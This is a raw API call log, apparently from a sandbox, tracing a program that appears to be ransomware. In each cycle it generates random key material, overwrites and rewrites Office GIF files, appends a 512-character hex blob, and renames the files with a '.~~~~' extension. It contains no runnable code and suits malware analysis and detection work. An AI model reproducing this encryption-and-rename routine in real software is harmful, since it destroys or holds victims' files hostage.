	[0129.864] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.864] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.864] CloseHandle (hObject=0x120) returned 1
	[0129.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f05b0
	[0129.864] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14882_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14882_.gif.~~~~")) returned 1
	[0129.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0129.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0129.896] GetLastError () returned 0x0
	[0129.932] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0129.933] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.933] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0129.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0129.934] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24992383799) returned 1
	[0129.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6e37cd0, dwHighDateTime=0x1d60e1e)) 
	[0129.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0129.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0129.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0129.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28228e8
	[0129.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28228e8 | out: hHeap=0x300000) returned 1
	[0129.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0129.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1be8
	[0129.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0129.935] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0129.935] GetLastError () returned 0x0
	[0129.935] GetLastError () returned 0x0
	[0129.935] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0129.935] GetLastError () returned 0x0
	[0129.935] GetLastError () returned 0x0
	[0129.937] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffde0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.937] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x220, lpOverlapped=0x0) returned 1
	[0129.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.939] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.939] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.939] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.939] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.939] CloseHandle (hObject=0x13c) returned 1
	[0129.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f05b0
	[0129.940] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15034_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15034_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15034_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15034_.gif.~~~~")) returned 1
	[0129.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0129.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0129.974] GetLastError () returned 0x0
	[0130.021] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0130.022] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.022] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0130.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.022] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25001238492) returned 1
	[0130.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6f1c510, dwHighDateTime=0x1d60e1e)) 
	[0130.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0130.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0130.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0130.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a2b280
	[0130.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a2b280 | out: hHeap=0x300000) returned 1
	[0130.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4310
	[0130.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1e48
	[0130.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.023] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0130.023] GetLastError () returned 0x0
	[0130.024] GetLastError () returned 0x0
	[0130.024] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0130.024] GetLastError () returned 0x0
	[0130.024] GetLastError () returned 0x0
	[0130.025] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffeeb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.026] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x115, lpOverlapped=0x0) returned 1
	[0130.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.028] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.028] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.028] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.028] CloseHandle (hObject=0x130) returned 1
	[0130.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4310
	[0130.028] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15155_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15155_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15155_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15155_.gif.~~~~")) returned 1
	[0130.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0130.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0130.059] GetLastError () returned 0x0
	[0130.376] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0130.377] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.377] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0130.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0130.377] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25036724714) returned 1
	[0130.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb7262350, dwHighDateTime=0x1d60e1e)) 
	[0130.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0130.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0130.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0130.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822f40
	[0130.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822f40 | out: hHeap=0x300000) returned 1
	[0130.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c20a8
	[0130.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.378] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0130.379] GetLastError () returned 0x0
	[0130.379] GetLastError () returned 0x0
	[0130.379] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0130.379] GetLastError () returned 0x0
	[0130.379] GetLastError () returned 0x0
	[0130.382] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff4fc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.382] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xb04, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0xb04, lpOverlapped=0x0) returned 1
	[0130.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0130.385] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.385] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.385] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.385] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.385] CloseHandle (hObject=0x140) returned 1
	[0130.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3e78
	[0130.386] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21303_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21303_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21303_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21303_.gif.~~~~")) returned 1
	[0130.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0130.387] GetLastError () returned 0x0
	[0130.388] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0130.389] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.389] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0130.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0130.389] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25037943864) returned 1
	[0130.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb72884b0, dwHighDateTime=0x1d60e1e)) 
	[0130.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0130.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0130.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0130.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822f78
	[0130.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822f78 | out: hHeap=0x300000) returned 1
	[0130.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2438
	[0130.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.390] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0130.390] GetLastError () returned 0x0
	[0130.391] GetLastError () returned 0x0
	[0130.391] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0130.391] GetLastError () returned 0x0
	[0130.391] GetLastError () returned 0x0
	[0130.413] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffb95, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.413] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x46b, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x46b, lpOverlapped=0x0) returned 1
	[0130.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0130.416] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.416] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.416] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.416] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.416] CloseHandle (hObject=0x140) returned 1
	[0130.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3e78
	[0130.417] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21348_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21348_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21348_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21348_.gif.~~~~")) returned 1
	[0130.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0130.418] GetLastError () returned 0x0
	[0130.419] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0130.420] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.420] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0130.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0130.420] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25041290532) returned 1
	[0130.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb72d4770, dwHighDateTime=0x1d60e1e)) 
	[0130.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0130.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0130.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0130.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822fb0
	[0130.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822fb0 | out: hHeap=0x300000) returned 1
	[0130.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c31e0
	[0130.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.424] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0130.424] GetLastError () returned 0x0
	[0130.425] GetLastError () returned 0x0
	[0130.425] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0130.425] GetLastError () returned 0x0
	[0130.425] GetLastError () returned 0x0
	[0130.482] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff71d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.483] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x8e3, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x8e3, lpOverlapped=0x0) returned 1
	[0130.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
